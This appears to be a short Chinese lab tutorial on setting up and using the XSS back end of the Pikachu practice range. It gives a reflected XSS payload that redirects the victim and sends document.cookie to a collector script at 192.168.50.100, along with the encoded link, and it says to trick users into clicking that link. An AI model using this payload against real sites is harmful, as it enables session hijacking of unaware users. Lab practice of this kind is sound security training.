pikachu XSS后台的使用和安装

xss后台的安装

pikachu  XSS后台的使用和安装 

pikachu  XSS后台的使用和安装

重定向到另一个可信网址  让点击者 不知情

 pikachu  XSS后台的使用和安装

 1.cookie值获取

查看源代码

pikachu  XSS后台的使用和安装

 在反射型xss(get)页面下使用

 

<script> document.location = ‘http://192.168.50.100/pkxss/xcookie/cookie.php?cookie=‘   +  document.cookie; </script>

 pikachu  XSS后台的使用和安装

 点提交,会跳转到首页,

 pikachu  XSS后台的使用和安装

 http://192.168.50.100/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3E+document.location+%3D+%27http%3A%2F%2F192.168.50.100%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+++%2B++document.cookie%3B+%3C%2Fscript%3E&submit=submit

欺骗用户去点击

就会出现第二个

pikachu  XSS后台的使用和安装

 反射型xss(get

让用户去点击这个页面  获取cookie值

 pikachu  XSS后台的使用和安装

2.钓鱼结果

3.键盘记录

 

xss

相关推荐